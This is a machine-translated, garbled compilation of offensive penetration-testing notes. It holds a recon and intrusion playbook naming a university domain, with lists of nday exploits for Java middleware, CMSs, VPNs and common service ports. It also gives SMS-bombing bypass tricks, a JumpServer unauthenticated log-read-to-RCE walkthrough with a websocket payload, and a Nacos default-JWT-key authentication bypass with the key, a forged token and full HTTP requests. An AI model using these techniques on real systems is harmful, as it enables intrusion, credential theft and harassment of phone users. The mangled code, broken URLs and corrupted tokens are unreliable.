THNU.EDU.CNサブドメイン名爆発:レイヤー(4)。バルククロールすべてのターゲットサブドメインWebバナーツール:レイヤー(5)、ターゲットのすべてのサブドメインのバッチベーシックサービスポート検出および識別ツール:Yujian Port Scan、Goby(6)Batchは、すべての生存するWebサイトのWebプログラムフィンガープリントを識別し、その詳細なバージョンhttps://github.com/edgesecurityTeam/Ehole33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333999GITHMY http://finger.tidesec.com/http://whatweb.bugscaner.com/look/3https://fp.shuziguanxing.com/#/3https://www.yunsee.cn/(6)さまざまな敏感なファイルを見つけて、時にはターゲットからターゲットに漏れていることがあります。 'AccessKey'https://github.com/0xbug/hawkeyehttps://github.com/feicn/gsil(6)ネットワークディスク/baiduライブラリからターゲットによって漏れたさまざまな機密ファイルとアカウントパスワードを見つけますhttp://www.daysou.com/(network disk search) (7)ターゲットがサードパーティの歴史的脆弱性データベースからリークしたさまざまな機密アカウントのパスワードを見つけます[国内ターゲットは非常に有用です] (9)Webサイトディレクトリスキャン[ターゲットWebサイト、Webサイトのバックアップファイル、機密構成ファイル、ソースコード、その他のWebシェルなどによってリークされたあらゆる種類の機密ファイルを見つけます.]ツール:Yujian Directory、Dirsearch Directory、dirsearchディレクトリ、 (10)フロントエンドコードでターゲットサイト自体によってリークされるさまざまな機密情報 (11)fofa/shodan/bing/googleハッキング詳細な使用率 (12)ターゲットの学生番号/従業員の仕事番号/ターゲットメールを収集します[そしてさまざまなソーシャルワークデータベースに移動して、これらのメールアドレスがパスワードを漏らしたかどうかを確認します]学生学生番号公式ウェブサイトとTIEBAフォーラムコレクション、公式ウェブサイトまたはソーシャルワークデータベースおよびGithubでの従業員の仕事番号検索 (13)ターゲットは、さまざまな技術文書/WIKISおよびさまざまなアカウントパスワードおよびその他の機密情報を提供します。 (14)ターゲットWechatアプレットとパブリックアカウント(15)ターゲットアプリWebリクエストを分析する(16)JSプローブを使用してターゲットイントラネット情報を収集します (17)さまざまな内部QQグループ/WECHATグループで混合する方法を見つける (18)ターゲット直接サプライヤーを分析する[特に技術のアウトソーシング] (19)以前に収集されたさまざまな情報に基づいて、ターゲットを絞った弱いパスワード辞書を作成しますhttps://xsshs.cn/xss.php?do=pass (20)ターゲットとバイパスhttps://github.com/enablesecurity/wafw00f(WAF認識)が使用するWAFタイプの認識 (21)Bypasswafファイルのアップロード/読み取り/ダウンロード (22)バイパスワフSQL注射 (23)Bypasswaf rce(24)bypasswafさまざまなタイプのJava Webミドルウェア既知のnday脆弱性 (25)殺害のないバイパスワフのウェブシェル もっと、追加して正しい. 0x02エントリ許可へのアクセス[外部防衛センター( "Top on Top")] この段階は、主に主流の「ミドルウェア +オープンソースプログラム + Webサービスコンポーネント」のさまざまな既知のndayの脆弱性を対象としています 以下は、「実際の攻撃利用の難易度」と「取得した高および低いシェル許可」に基づいて詳細に並べ替えられています。それは実用的に完全に導かれているためです したがって、比較的一般的であり、実際にGettingshellを効果的に支援できる「ミドルウェア」、「オープンソースプログラム」、「Webコンポーネント」のみを選択しました。 さまざまなJavaミドルウェアのさまざまな既知のndayエクスプロイト 他のスクリプトのようなWebプログラムとは異なり、Javaの実行許可は通常比較的高く、それらのほとんどはRoot/Administrator/システムの許可で直接実行されています。 したがって、取得したシェルアクセス許可は一般的に非常に高く、通常は直接サーバー許可です 特にさまざまな赤いチームのシナリオでは、侵入者は通常、これらのポイントを最初に選択し、これをブレークスルーとして使用して、安定したスプリングボードの入力許可を取得します。 どの業界がどのミドルウェアを使用するのが好きかについて、これらも事前に分析および要約する必要があります。 struts2struts2-005 struts2-008 Struts2-009 struts2-013 Struts2-016(実際、多くの古いシステムがこの穴を見逃しており、成功率は高くなっています) Struts2-019 Struts2-020 struts2-devmode struts2-032 Struts2-033 Struts2-037 Struts2-045 Struts2-046 Struts2-048 struts2-052 struts2-053 struts2-057 利用ツール:https://github.com/hatboy/struts2-scanweblogiccve-2019-2725 CVE-2019-2729 CVE-2018-3191 CVE-2018-2628 CVE-2018-2893 CVE-2018-2894 CVE-2017-3506 CVE-2017-10271 CVE-2017-3248 CVE-2016-0638 CVE-2016-3510 CVE-2015-4852 CVE-2014-4210 SSRF 弱いコンソールパスワード、WebShellの展開 ツールチェックとエクスプロテーション:https://github.com/0xn0ne/weblogicscanner(ツールチェック)https://github.com/zhzyker/expub/tree/master/weblogic(ツールエクスプロイト)jbosscve-2015-7501 CVE-2017-7504 CVE-2017-12149 許可されていないアクセス、WebShellの展開 弱いコンソールパスワード、WebShellの展開 利用ツール:https://github.com/joaomatosf/jexboss3https://github.com/joaomatosf/javadeserh2hcwildfly [jboss 7.xはwildflyに変更されます]コンソールの弱いパスワード、ウェブシェルの展開 Tomcatcve-2016-8735 CVE-2017-12615 [Readonly、それは真実に設定される可能性が低く、少し役に立たない] CVE-2020-1938 [AJPプロトコルの脆弱性、多くの人がポート8009を外部ネットワークに直接さらしているわけではありません。 コンソールの弱いパスワード、WebShelllが展開されます[注:バージョン7.x、デフォルトで爆発防止機構が追加されます] 脆弱性のエクスプロイト概要: https://blog.csdn.net/weixin_42918771/article/details/10484443673https://mp.weixin.qq.com/s/zxocj9ghmatvvfeyn8vmua3https://saucer-man.com jekinscve-2018-1999002 [任意のファイルの読み取り] 不正アクセス、任意のコマンド実行 コンソールの弱いパスワード、任意のコマンド実行 脆弱性のエクスプロイト概要: https://www.cnblogs.com/junsec/p/11593556.htmlhttps://misakikata.github.io/2020/03/jenkins%E 6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/https://GITHUB.COM/GQUERE/PWN_JENKINS ElasticSearchCVE-2014-3120 [特に古いバージョン用(サンドボックスなし)RCE] CVE-2015-1427 [グルービーRCE] CVE-2015-3337 [任意のファイルの読み取り] 許可されていないアクセス、機密情報が漏れました 脆弱性の概要: https://jishuin.proginn.com/p/763bfbd3aa0dhttps://mp.weixin.qq.com/s?__biz=mzawmjgwmtu1mg=mid=2247484 799idx=2sn=b91f5bc7a31f5786a66f39599ea44bffhttps://blog.csdn.net/u011066706/article/details/51175761 https://www.cnblogs.com/atesetenginner/p/12060537.html rabbitmq弱いパスワードのデフォルトアカウントパスワードはゲスト/ゲストです(デフォルトポート:15672、25672、15692) Glassfish任意のファイル読み取り[低バージョン] 弱いコンソールパスワード、WebShellの展開 脆弱性のエクスプロイト:http://IP:ポート/テーマ/メタINF/%C0 WebSpherejavaの降下 弱いコンソールパスワード、WebShellの展開 脆弱性exploithttps://www.lxhsec.com/2019/03/04/middleware/https://wiki.96.mk/web%E5%AE%89%E5%85%85%A8/websphere/cve-2020-4643%20ibm%20websphere5% a aad%aid%a8です%9c%a8xxe%e5%a4%96%e9%83%a8%e5%ae%9e%e4%bd%93%e6%b3%a8%e5%85%a5%e6%b C%8F%E6%B4%9e/https://github.com/ares-x/vulwikihttps://xz.aliyun.com/t/8248 axis2任意のファイルの読み取り ディレクトリトラバーサル 脆弱性のエクスプロイト: https://xz.aliyun.com/t/6196https://paper.seebug.org/1489/#23-axis23https://wiki.96.mk/w EB%E5%AE%89%E5%85%A8/Apache%20axis/%EF%BC%88CVE-2019-0227%EF%BC%89APACHE%20axis %201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/https://github.com/Cale doniaproject/axisinvokerhttps://github.com/fnzer0/axis-rcehttps://paper.seebug.org/1489/apache activemqはアクセスの許可されておらず、5.12の前にfileserverが存在し、putが任意に書かれています CVE-2015-5254 脆弱性のエクスプロイト:http://wiki.sentrylab.cn/0day/activemq/3.html3https://www.freebuf.com/column/161188.htmlhttps://www.taodudu.cc/news/show-234492.htmlcte CVE-2019-0193 [apache solr 5.x-8.2.0] エクスプロイト: https://xz.aliyun.com/search?keyword=solrhttps://www.jiansshu.com/p/43e7f13e2058https://caiqiqi.github.io/2019/11/03/apache-solr%e6%bc%8f%e6%b4%9e%e5%90%88%e9%9b%86/https://cloud.tencent.com/developer/article/1810723 http://wiki.peiqi.tech/peiqi_wiki/web%E6%9c%8D%E5%8A%A1%E5%9999999999EAPACHE/APACHE%20Solr/? Apache Shiro Deserialization Fastjson=1.2.47脱力化利用 さまざまなWindows PHP統合環境の場合[このような環境で得られるWebシェル許可は比較的高いため、通常は赤チームの職員にとって最初の選択肢です) AppServ xampp パゴダ phpstudy . さまざまなオープンソースプログラムの既知のndayの脆弱性エクスプロイト DEDECMS背景弱いパスワード、シリーズ既知のnday脆弱性エクスプロイト thinkphp 5.x背景の弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト PHPCMSバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト ECSHOPの背景弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト MetInfoの背景弱いパスワード、シリーズは既知のndayの脆弱性エクスプロイト Discuzバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト Empire CMSバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト phpmyAdminデータベース弱いパスワード、シリーズnady脆弱性のエクスプロイト WordPressの背景弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト Joomlaの背景弱いパスワード、シリーズはnadyの脆弱性の悪用を既知のシリーズ Drupal CVE-2018-7600、バックエンドの弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト . 他のさまざまなWebコンポーネントの既知のndayエクスプロイト IIS 6.0 RCEショートファイルの脆弱性 任意に書き込みます WebDav RCE CVE-2017-7269 Zendaoプロジェクト管理システムSQLインジェクション ファイルの読み取り リモート実行 Tongda OASQL注射 任意のアップロード Exchangeはインターフェイスを使用して、メールボックスのユーザー名を列挙します 各インターフェイスの弱いパスワードブラスト CVE-2020-0688 [利用の前提条件は、最初に電子メールユーザーの許可が必要なことです] . zimbra [xxe + ssrf=rce] CVE-2013-7091 CVE-2016-9924 CVE-2019-9670 Citrixcve-2019-19781 Jumpserver認証バイパス Zabbixcve-2017-2824 SQLインジェクション[2.0古いバージョン] コンソールの弱いパスワード、機密機械情報が漏れます サボテンバージョンSQLインジェクション 弱いコンソールパスワード Nagioscve-2016-9565 弱いコンソールパスワード Webmin RCECVE-2019-15107 phpmailercve-2016-10033 FANWEI OAリモートコード実行キングディーOA SQLインジェクションコアメイル敏感なファイルリークueditor任意のファイルopensSl heart grab平野アカウントパスワード[ハートベルド]シェルブレイクの脆弱性[シェルショック] 迅速に逃げることができるさまざまな通常の基本的なWeb脆弱性[注:いくつかの脆弱性は、コードをレビューせずに効果的かつ盲目的に検出することが実際に困難です] 背景の弱いパスワード SSRF SQLインジェクション 権威の行き過ぎ コマンド/コードの実行/脱介入 ファイルをアップロード/ダウンロード/読み取ります 含む XSS(実際、XSSは特定の特定の電子メールをターゲットにしていて、ブラウザ0adを手に持っている場合にのみ価値があります。実際、Red Teamシナリオではそれほど致命的ではありません) ビジネスロジックの脆弱性 さまざまな境界ネットワークデバイスのさまざまな用途、主にWeb管理コンソールの弱いパスワードとさまざまな既知のnday攻撃をログインします。 パルスセキュアVPNCVE-2019-11510 [任意のファイルの読み取り] Fortinet VPNCVE-2018-13379 [ファイルリーディング] Sangfor VPN RCE 0x03エントリーアクセスアクセスエントリアクセス[特に、さまざまな基本サービスポートのさまざまなゲッシェル利用、防衛フォーカス(「最優先事項 ")) ここでは、実際には実際にGootshellに役立つサービスのみを選択します。他の比較的限界サービスは言及されていません。 同様に、基準の詳細な並べ替えは、「実際の攻撃利用の難しさ」と「取得したシェル許可」に基づいていました。 次のように、各ポートの特定の攻撃方法について簡単に説明します。 トップポートListMSSQL [TCP 1433ポートのデフォルト作業、パスワードの弱い、敏感なアカウントパスワードリーク、特権昇給、リモート実行、バックドアインプラント] SMB [TCPポート445のデフォルト作業、パスワードの弱い、リモート実行、バックドア移植] WMI [TCPポート135のデフォルト作業、パスワードの弱い、リモート実行、バックドア移植] Winrm [TCP 5985ポートのデフォルトの作業、このアイテムは主にウィンドウ、弱いパスワード、リモート実行、バックドアインプラントのいくつかのより高いバージョン用です] RDP [デフォルトでは、TCP 3389ポート、弱いパスワード、リモート実行、シフトクラスバックドアが他の人が残しています] SSH [TCP 22ポート、弱いパスワード、リモート実行、バックドアインプラントのデフォルト作業] Oracle [TCP 1521ポートでのデフォルト作業、弱いパスワード、敏感なアカウントパスワードの漏れ、特権昇給、リモート実行、バックドア移植] MySQL [デフォルトでは、TCP 3306ポート、弱いパスワード、敏感なアカウントパスワードの漏れ、および昇給権(いくつかの古いシステムにのみ適用される)で動作します]] Redis [TCPポート6379のデフォルト作業、弱いパスワード、不正アクセス、書き込みファイル(WebShell、スタートアイテム、スケジュールされたタスク)、許可の引き上げ] postgreSQL [TCP 5432ポート、弱いパスワード、機密情報漏れのデフォルト作業] LDAP [TCPポート389でのデフォルト作業、不正アクセス、弱いパスワード、機密アカウントパスワードリーク]] SMTP [デフォルトでは、ユーザー名の列挙脆弱性、パスワードの弱い、サービスの誤ったものによって引き起こされる機密情報の漏れ] POP3 [TCPポート110のデフォルト作業、パスワードの弱い、機密情報漏れ] IMAP [TCPポート143のデフォルト作業、パスワードの弱い、機密情報の漏れ] Exchange [TCP 443ポートでのデフォルト作業、弱いパスワードBlasting EG: OWA、EWS、OAB、AutoDiscover . PTH OFF-MAIL、機密情報リーク.] VNC [TCPポート5900のデフォルト作業、パスワードの弱い] FTP [デフォルトでは、TCP 21ポート、弱いパスワード、匿名アクセス/書き込み、機密情報の漏れで動作します] RSYNC [TCP 873ポートでのデフォルト作業、不正、弱いパスワード、機密情報漏れ] mongodb [TCP 27017ポートのデフォルト作業、不正で弱いパスワード] Telnet [TCP 23ポート、弱いパスワード、バックドア移植のデフォルト作業] SVN [TCP 3690ポートのデフォルト作業、パスワードの弱い、機密情報漏れ
  10. 当事者Aのビジネスをテストしたり、SRCやその他のサービスを掘ったりするとき、SMS検証が送信される場所に遭遇することがよくあります。考えることができるのは、ユーザーによるログイン、SMS爆撃、およびパスワードを変更するユーザーなどの論理的な脆弱性です。また、単純な脆弱性には、明確な思考分析が必要であり、いくつかのSMSを使用して複数のバイパスケースを爆撃して共有し、リスクと低リスクを使用してそれらを収集します。 1。パラメーター汚染バイパスパラメーター汚染、つまり、背景にテキストメッセージを送信するとき、数の一部が取得されます。他の文字を混ぜると、送信された携帯電話番号の制限の確認をバイパスします:2。可変汚染は、いわゆる可変汚染をバイパスします。おそらく、背景が最初の変数のコンテンツをチェックし、値として扱われますが、データパケットが背景に渡されると、パラメーター名が同じ場合、2番目、3番目、4番目、および最後のパラメーターがベンチマークとして渡されるため、バックエンドの制限は:01013に渡されます。携帯電話番号をバイパスするデータ長の定義は11桁ですが、背景は、123=0123=00123などの送信された携帯電話番号の長さを確認しません。この方法は、携帯電話番号をバイパスするために使用されます。確認コードを送信するとき、フロントエンドは状態をもたらします。この状態を変更することにより、システムの制限をバイパスできます。たとえば、登録されたユーザーはテキストメッセージを送信することはできません。反対に、未登録のユーザーはテキストメッセージを送信できません。フレーズはTrue 5に変更されます。クッキーは、薬を変えないようにスープを迂回して置き換えます。 Cookieのユーザーの資格情報を確認します。 Cookieのいくつかのパラメーターを変更することにより、バイパスをバイパスして携帯電話番号を送信/登録してテキストメッセージを送信できます: 6。 [SPASTバイパスSMS爆撃] [画像なし] SMSを送信するときは11桁ですが、データベースはフィールドの長さを11に制限しません。元の検証はスペースを追加することでバイパスされます。ただし、バックグラウンドで番号を送信すると、有効な文字の前のフィールドが取得されるため、バイパスされた方法が得られます。 7。 8。[APIインターフェイスに基づいて] [写真なし]この脆弱性については、一般に、フロントデスクに携帯電話番号を入力し、リクエスト1を送信して背景に移動して、送信要求を実行できるかどうかを判断します。 2。そうでない場合は、誤ったものまたはエラーを返します。成功した場合は、trueまたは成功を返します。返されたものを見つけてください。 この種の脆弱性は、インターフェイスに記載されている場合があります。
  11. 0はじめに Jumpserverは、オープンソースのバスティオンマシンであり、4A仕様に準拠した運用およびメンテナンスセキュリティ監査システムです。素人の用語では、それはスプリングボードマシンです。 2021年1月15日、Jumpserverはセキュリティアップデートをリリースし、リモートコマンドの実行の脆弱性を修正しました。一部のJumpserverインターフェイスには認可制限がないため、攻撃者は悪意のあるリクエストを作成して機密情報を取得するか、すべてのマシンを制御して任意のコマンドを実行するための関連操作を実行できます。 影響バージョン: JumpServer V2.6.2JumpServer V2.5.4JumpServer V2.4.5JumpServer=V1.5.9 1。脆弱性分析 修理コードのコミットレコードを参照してください: https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e CeleryLogWebsocketクラスの接続がID認証で追加されたことがわかりました。 インポート時間 OSをインポートします スレッドをインポートします JSONをインポートします common.utilsからImport get_loggerから from .celery.utilsインポートget_celery_task_log_path .ansible.utilsからImport get_ansible_task_log_pathから from Channels.generic.websocketインポートjsonwebsocketconsumer logger=get_logger(__ name__) クラスTaskLogWebsocket(JSONWebsocketConsumer): 切断=false log_types={ 'Celery ': get_celery_task_log_path、 'ansible ': get_ansible_task_log_path } def connect(self): user=self.scope ['user'] user.is_authenticatedおよびuser.is_org_admin:の場合 self.accept() else: self.close() def get_log_path(self、task_id): func=self.log_types.get(self.log_type) func:の場合 return func(task_id) def receive(self、text_data=none、bytes_data=none、** kwargs): data=json.loads(text_data) task_id=data.get( 'task') self.log_type=data.get( 'type'、 'celry') if task_id: self.handle_task(task_id) def wait_util_log_path_exist(self、task_id): log_path=self.get_log_path(task_id) self.disconnected:ではありません os.path.exists(log_path):ではない場合 self.send_json({'message':'。 '、' task ': task_id})) time.sleep(0.5) 続行します self.send_json({'message':' \ r \ n '}) try: logger.debug( 'タスクログPATH: {}'。フォーマット(log_path))) task_log_f=open(log_path、 'rb') return task_log_f OSERROR:を除く なしなし def read_log_file(self、task_id): task_log_f=self.wait_util_log_path_exist(task_id) そうでない場合は、task_log_f: logger.debug( 'タスクログファイルはne: {}'。フォーマット(task_id))) 戻る task_end_mark=[] self.disconnected:ではありません data=task_log_f.read(4096) data:の場合 data=data.replace(b '\ n'、b '\ r \ n') self.send_json( {'message': data.decode(errors=' agnore ')、' task ': task_id} )) data.find(b'suceded in ')!=-1:の場合 task_end_mark.append(1) data.find(bytes(task_id、 'utf8'))!=-1:の場合 task_end_mark.append(1) Elif Len(task_end_mark)==2: logger.debug( 'タスクログend: {}'。フォーマット(task_id))) 壊す time.sleep(0.2) task_log_f.close() def handle_task(self、task_id): logger.info( 'task id: {}'。形式(task_id))) スレッド=threading.thread(ターゲット=self.read_log_file、args=(task_id、))) thread.start() def disconnect(self、close_code): self.disconnected=true self.close() このクラスのHTTPインターフェイスをご覧ください。 このクラスを通じて、このインターフェイスのアクセスチェーンは次のとおりです。 ws/ops/tasks/log/ -TaskLogWebsocketクラスの受信関数を入力します -TaskLogWebsocketクラスのhandle_task関数を入力します -loglogwebsocketクラスのread_log_file関数を入力します -Wait_util_log_path_exist tasklogwebsocketクラスの関数を入力します -loglogwebsocketクラスのread_log_file関数を入力します -App/ops/utls.py にget_task_log_path関数を入力します TaskIDは、送信したtext_dataから解析されるため、制御可能です。次の方法を使用して、ログファイル/opt/jumpserver/logs/jumpserver.logを読むことができます。 ws: //10.10.10.1033608080/ws/ops/tasks/log/に送信 {'task':'/opt/jumpserver/logs/jumpserver '}上記はファイル読み取りの原則です。ログファイルの読み取りには次の制限があります。 ファイルは、絶対パスを使用してのみ読み取ることができます。ログで終わるファイルのみが読み取られます。次の分析は、リモートコード実行を実装する方法です。 /opt/jumpserver/logs/gunicorn.logを読むことで、運が良ければ、ユーザーUID、システムユーザーUID、およびAsset IDを読むことができます。 ユーザーidasset idsystemユーザーID上記の3つの情報を、ユーザーがログから取得するためにWeb端末にログインしていることを確認する必要があります。それを取得した後。 /api/v1/authentication/connection-token/interfaceを介して、/apps/authentication/api/userconnectiontokenapiを入力できます user_id asset_id system_user_idを使用して、20秒の有効期間のみのトークンを取得できます。このトークンは、KokoコンポーネントのTTYを作成するために使用できます。 https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342 -https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#l167特定のコードは次のとおりです。 完全なRCE使用手順は次のように要約されています。 WebSocket接続は許可なしに確立できます。ログファイルをWebSocketを介して読み取り、LOGファイルのシステムユーザー、ユーザー、およびアセットフィールドを取得できます。 3のフィールドを通じて、トークンを通して20秒のトークンを取得し、Koko Ttyに入ることができます。コマンドを実行する 2脆弱性の再発 2.1環境構築 ローカル環境:Xubuntu20.04JumpServerバージョン:2.6.1バージョンインストール手順: #ダウンロード git clone 3https://github.com/jumpserver/installer.git CDインストーラー #国内のDockerソースアクセラレーション Export docker_image_prefix=docker.mirrors.ustc.edu.cn #開発バージョンをインストールしてから2.6.1に切り替えます(2.6.1を直接インストールできるはずです。最初はデフォルトの開発バージョンとしてインストールされましたが、問題ではありません) sudo su ./jmsctl.shインストール ./jmsctl.shアップグレードv2.6.1 # 起動する ./jmsctl.shフルログを再起動します #yanq @ yanq-desk in〜/gitrepo [22:18336053] c:127 $ git clone 3https://github.com/jumpserver/installer.git 「インストーラー」へのクローニング. remote:列挙オブジェクト: 467、完了。 remote:合計467(デルタ0)、再利用0(デルタ0)、パックリューズ467 : 100%(467/467)、95.24 kib | 182.00キブ/s、完了。 プロセス: 100%(305/305)、完了。 #yanq @ yanq-desk in〜/gitrepo [22:20:27] $ CDインストーラー #yanq @ yanq-desk in〜/gitrepo/installer on git:master o [22:20:30] $ ls Config-example.txt config_init jmsctl.sh readme.md scripts static.env utilsを作成します #yanq @ yanq-desk in〜/gitrepo [22:18336059] $ export docker_image_prefix=docker.mirrors.ustc.edu.cn #yanq @ yanq in〜/github/installer on git:master o [22336003:43] c:130 $ sudo su root@yanq:/home/yanq/github/installer#./jmsctl.shインストール ██╗██╗██╗███╗██╗███╗███╗██████╗██╗ ██║██║███████████████████╔═════════════════════██║███████████████████╔═════════════════════██║ ██║██║██║██║██████╔╝██║██║█████╗██████╔╝ █████████████║╚██║╚██╔╝██═══╝╚════██╔══╝╚════██╔══╝██╔═══╝██╔══╝ ╚█████╔╝╚██████╔╝██║╚═╝╚═╝██║██║██║╚████╔╝███████╗██║ ╚════╝╚═══╝╚════╝╚═╝╚═╝╚═╝ version: dev 1. JumpServerを構成します 1.構成ファイルを確認します 各コンポーネントは、YAML形式の代わりに環境変数構成ファイルを使用し、構成名は前のものと一致しています 構成ファイルの場所: /opt/jumpserver/config/config.txt 仕上げる 2。nginx証明書を構成します 証明書の場所は:/opt/jumpserver/config/nginx/certです 仕上げる 3。バックアップ構成ファイル /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52にバックアップします 仕上げる 4.ネットワークを構成します IPv6をサポートする必要がありますか? (y/n)(デフォルトはn): n 仕上げる 5.暗号化キーを自動的に生成します 仕上げる 6.永続性ディレクトリを構成します ログ記録などの永続的なディレクトリを変更し、最大のディスクを見つけ、 /opt /jumpserverなどのディレクトリを作成します インストール後に:を変更できないことに注意してください。そうしないと、データベースが失われる可能性があります。 使用可能なファイルシステム容量は、使用済みの使用%マウントポイントです udev 7.3g 0 7.3g 0% /dev /dev /nvme0n1p2 468g 200g 245g 45% / /dev/loop1 56m 56m 0 100%/snap/core18/1944 /dev/loop2 65m 65m 0 100%/snap/gtk-common-themes/1513 /dev/loop3 218m 218m 0 100%/snap/gnome-3-34-1804/60 /dev/loop0 56m 56m 0 100%/snap/core18/1932 /dev/loop5 32m 32m 0 100%/snap/snapd/10492 /dev/loop6 65m 65m 0 100%/snap/gtk-common-themes/1514 /dev/loop4 52m 52m 0 100%/snap/snap-store/498 /dev/loop7 52m 52m 0 100%/snap/snap-store/518 /dev/loop8 219m 219m 0 100%/snap/gnome-3-34-1804/66 /dev/loop9 32m 32m 0 100%/snap/snapd/10707 /dev/nvme0n1p1 511m 7.8m 504m 2%/boot/efi 永続的なボリュームストレージディレクトリ(デフォルトは /opt /jumpserver):を設定します 仕上げる 7. mysqlを構成します 外部mysql(y/n)を使用するかどうか(デフォルトはn): n 仕上げる 8。redisを構成します 外部redis(y/n)を使用するかどうか(デフォルトはn): n 仕上げる 2。Dockerをインストールして構成します 1。Dockerをインストールします Dockerプログラムのダウンロードを開始します. -2021-01-17 22:04336012--- https://Mirrors.aliyun.com/docker-ce/linux/static/statable/x86_64/docker-8.06.2-ce.tgz ホストmirrors.aliyun.com(mirrors.aliyun.com). 180.97.148.110、101.89.125.248、58.216.16.38、 mirrors.aliyun.com(mirrors.aliyun.com)| 180.97.148.110 | :443 .接続。 HTTPリクエストが発行され、応答を待っています. 200 OK 長さ:43834194(42M)[アプリケーション/X-TAR] : "/tmp/docker.tar.gzに節約 /tmp/docker.tar.gz 100%[====================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================== 2021-01-17 22:04336016(13.8 MB/s)-Saved "/tmp/docker.tar.gz" [43834194/43834194])) Docker Composeプログラムのダウンロードを開始します. -2021-01-17 22:04336017--https://Get.daocloud.io/docker/compose/releases/dowdoload/1.27.4/docker-compose-linux-x86_64 ホストの解決get.daocloud.io(get.daocloud.io). 106.75.86.15 接続get.daocloud.io(get.daocloud.io)| 106.75.86.15 | :443 .接続。 HTTPリクエストが発行され、応答を待っています. 302が見つかりました 場所:https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.io/docker/compose/releases/download/1.27.4/docker-compose-linux-x86_64 [新しいURLに従ってください] -2021-01-17 223:04:28--- https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO/DOCKER/COMPOSE/RELEASES/DOWNLOAD/1.27.4/DOCKER-COMPOSE-LINUX-X86_64 ホストdn-dao-github-mirror.daocloud.io(dn-dao-github-mirror.daocloud.io). 240e:ff:a024:200:33603fe、 240E:964:100:302:33603FE、61.160.204.242、 DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO(DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO)| 240E:FF:A024:200:33603FE | :43 .接続。 HTTPリクエストが発行され、応答を待っています. 200 OK 長さ:12218968(12M)[アプリケーション/X-執行可能] : "/tmp/docker-compose"に節約 /TMP/Docker-Compose
  12. NACOS脆弱性の概要の再発 1。 NACOSデフォルトキーは、ログインをバイパスする許可を引き起こします NACOS=2.1.0に影響を与える問題がNACOSで見つかり、デフォルトのJWTキーを使用してNACOSユーザーが不正アクセスの脆弱性を引き起こしました。この脆弱性により、攻撃者はユーザー名とパスワード認証をバイパスし、NACOSユーザーに直接ログインできます。 0x00脆弱性の説明 0.1.0=NACOS=2.2.0 0x01脆弱性の影響 FOFA:app='nacos' 0x02脆弱性検索 nacosでは、token.secret.key値は固定されており、場所はアプリケーションです。 nacos.core.auth.plugin.nacos.token.secret.key=secretkey0123456789012345678901234567890123456789012345678901234567899 1.トークンを取得し、このデフォルトキーを使用してJWT構造を実行し、背景を直接入力します。建設方法: https://jwt.io/で:デフォルトキーを入力してください: SecretKey012345678901234567890123456789012345678901234567890123456789 次に、ペイロードを入力します。 { 'sub':' nacos '、 'exp': 1678899909 } ここで注:1678899909の値はUNIXタイムスタンプです。変換したい場合は、システム内の現在よりも遅くなります。たとえば、現在の時刻は2023年3月15日22:11:09で、ここでのタイムスタンプ時間は3月16日です。 知らせ: 以下は、JWT値をバイパス許可に鍛造するテスト結果です 1.タイムスタンプを拡張し、パスワードを投稿するのが間違っていて、ユーザー名が正しい 2。タイムスタンプを拡張し、パスワードを投稿し、ユーザー名エラーを拡張します 3.タイムスタンプを削除してください、投稿のパスワードが間違っています、ユーザー名が間違っています 上記の値をコピーし、げっぷのログインを選択して構成します。 eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6dstuko7s あなたはそれを箱に自分で追加する必要があります: POST/NACOS/V1/AUTH/USERS/LOGIN HTTP/1.1 HOST: 10.211.55.5:8848 user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10.15; RV3360104.0)Gecko/20100101 Firefox/104.0 Accept: Application/Json、Text/Plain、 */* Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2 Accept-Encoding: gzip、deflate Content-Type:アプリケーション/x-www-form-urlencoded Content-Length: 33 Origin: http://10.211.55.533608848 Connection:閉じます Referer: http://10.211.55.533608848/nacos/index.html Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s username=crowsecpassword=crowsec この時点で、トークン情報を受け取りました。 HTTP/1.1 200 Vary: Origin VARY: Access-Control-Request-Method Vary: Access-Control-Request-Headers content-security-policy: script-src 'self' set-cookie: jsessionid=d90cf6e5b233685e4a39c1b1bda9f185; path=/nacos; httponly Authorization: Bearer eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiiijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6j6dstuko7s Content-Type:アプリケーション/JSON 日付:水曜日、2023年3月15日14336013:22 GMT Connection:閉じます Content-Length: 197 {'AccessToken':'eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioiijuywnvcyisimv4cci6mty3odg5otkwox0.di28c dy76jcvtmsgiim12c4pukjuuobz6j6dstuko7s '、' 